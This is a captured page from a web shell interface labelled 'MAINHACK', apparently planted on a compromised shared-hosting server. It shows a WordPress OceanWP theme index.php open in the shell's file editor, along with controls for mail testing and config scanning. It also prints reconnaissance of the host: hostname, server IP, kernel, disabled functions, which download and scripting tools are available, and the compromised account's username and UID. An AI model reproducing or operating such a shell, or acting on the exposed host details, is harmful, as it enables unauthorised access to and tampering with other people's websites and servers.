[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: index.php
<?php /** * The main template file. * * This is the most generic template file in a WordPress theme and one of the * two required files for a theme (the other being style.css). * It is used to display a page when nothing more specific matches a query. * For example, it puts together the home page when no home.php file exists. * * Learn more: http://codex.wordpress.org/Template_Hierarchy * * @package OceanWP WordPress theme */ get_header(); ?> <?php do_action( 'ocean_before_content_wrap' ); ?> <div id="content-wrap" class="container clr"> <?php do_action( 'ocean_before_primary' ); ?> <div id="primary" class="content-area clr"> <?php do_action( 'ocean_before_content' ); ?> <div id="content" class="site-content clr"> <?php do_action( 'ocean_before_content_inner' ); ?> <?php // Check if posts exist. if ( have_posts() ) : // Elementor `archive` location. if ( ! function_exists( 'elementor_theme_do_location' ) || ! elementor_theme_do_location( 'archive' ) ) { // Add Support For EDD Archive Pages. if ( is_post_type_archive( 'download' ) || is_tax( array( 'download_category', 'download_tag' ) ) ) { do_action( 'ocean_before_archive_download' ); ?> <div class="oceanwp-row <?php echo esc_attr( oceanwp_edd_loop_classes() ); ?>"> <?php // Archive Post Count for clearing float. $oceanwp_count = 0; while ( have_posts() ) : the_post(); $oceanwp_count++; get_template_part( 'partials/edd/archive' ); if ( oceanwp_edd_entry_columns() === $oceanwp_count ) { $oceanwp_count = 0; } endwhile; ?> </div> <?php do_action( 'ocean_after_archive_download' ); } else { ?> <div id="blog-entries" class="<?php oceanwp_blog_wrap_classes(); ?>"> <?php // Define counter for clearing floats. $oceanwp_count = 0; ?> <?php // Loop through posts. while ( have_posts() ) : the_post(); ?> <?php // Add to counter. $oceanwp_count++; ?> <?php // Get post entry content. get_template_part( 'partials/entry/layout', get_post_type() ); ?> <?php // Reset counter to clear floats. if ( oceanwp_blog_entry_columns() === $oceanwp_count ) { $oceanwp_count = 0; } ?> <?php endwhile; ?> </div><!-- #blog-entries --> <?php // Display post pagination. oceanwp_blog_pagination(); } } ?> <?php // No posts found. else : ?> <?php // Display no post found notice. get_template_part( 'partials/none' ); ?> <?php endif; ?> <?php do_action( 'ocean_after_content_inner' ); ?> </div><!-- #content --> <?php do_action( 'ocean_after_content' ); ?> </div><!-- #primary --> <?php do_action( 'ocean_after_primary' ); ?> </div><!-- #content-wrap --> <?php do_action( 'ocean_after_content_wrap' ); ?> <?php get_footer(); ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium264.web-hosting.com
Server IP: 69.57.162.13
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium264.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 73.69 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kidscntx
User ID (UID): 1154
Group ID (GID): 1112
Script Owner UID: 1154
Current Dir Owner: 1154